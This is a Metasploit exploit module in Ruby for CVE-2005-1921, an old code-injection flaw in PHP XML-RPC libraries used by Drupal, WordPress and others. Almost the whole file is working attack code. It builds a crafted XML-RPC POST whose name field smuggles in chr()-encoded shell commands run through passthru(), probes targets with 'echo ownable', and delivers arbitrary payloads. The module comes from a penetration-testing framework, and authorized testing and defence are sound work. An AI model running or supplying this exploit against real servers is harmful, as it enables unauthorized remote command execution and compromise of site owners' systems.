##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  # XXX This module needs an overhaul
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'PHP XML-RPC Arbitrary Code Execution',
      'Description'    => %q{
          This module exploits an arbitrary code execution flaw
        discovered in many implementations of the PHP XML-RPC module.
        This flaw is exploitable through a number of PHP web
        applications, including but not limited to Drupal, Wordpress,
        Postnuke, and TikiWiki.
      },
      'Author'         => [ 'hdm', 'cazz' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2005-1921'],
          ['OSVDB', '17793'],
          ['BID', '14088'],
        ],
      'Privileged'     => false,
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Payload'        => {
          'Space' => 512,
          'DisableNops' => true,
          'Keys'  => ['cmd', 'cmd_bash'],
        },
      'Targets'        => [ ['Automatic', { }], ],
      'DefaultTarget' => 0,
      'DisclosureDate' => '2005-06-29'
      ))


    register_options(
      [
        OptString.new('PATH', [ true,  "Path to xmlrpc.php", '/xmlrpc.php']),
      ])

    deregister_options(
      'HTTP::junk_params', # not your typical POST, so don't inject params.
      'HTTP::junk_slashes' # For some reason junk_slashes doesn't always work, so turn that off for now.
      )
  end

  def go(command)

    encoded = command.unpack("C*").collect{|x| "chr(#{x})"}.join('.')
    wrapper = rand_text_alphanumeric(rand(128)+32)

    cmd = "echo('#{wrapper}'); passthru(#{ encoded }); echo('#{wrapper}');;"

    xml =
    '<?xml version="1.0"?>' +
    "<methodCall>" +
      "<methodName>"+ rand_text_alphanumeric(rand(128)+32) + "</methodName>" +
      "<params><param>" +
        "<name>" + rand_text_alphanumeric(rand(128)+32) + "');#{cmd}//</name>" +
        "<value>" + rand_text_alphanumeric(rand(128)+32) + "</value>" +
      "</param></params>" +
    "</methodCall>";

    res = send_request_cgi({
        'uri'          => normalize_uri(datastore['PATH']),
        'method'       => 'POST',
        'ctype'        => 'application/xml',
        'data'         => xml,
      }, 5)

    if (res and res.body)
      b = /#{wrapper}(.*)#{wrapper}/sm.match(res.body)
      if b
        return b.captures[0]
      elsif datastore['HTTP::chunked']
        b = /chunked Transfer-Encoding forbidden/.match(res.body)
        if b
          fail_with(Failure::BadConfig, 'Target PHP installation does not support chunked encoding. Support for chunked encoded requests was added to PHP on 12/15/2005. Try disabling HTTP::chunked and trying again.')
        end
      end
    end

    return nil
  end

  def check
    response = go("echo ownable")
    if (!response.nil? and response =~ /ownable/sm)
      return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    response = go(payload.encoded)
    if response == nil
      print_error('exploit failed: no response')
    else
      if response.length == 0
        print_good('Exploit Successful')
      else
        print_status("Command returned #{response}")
      end
      handler
    end
  end
end
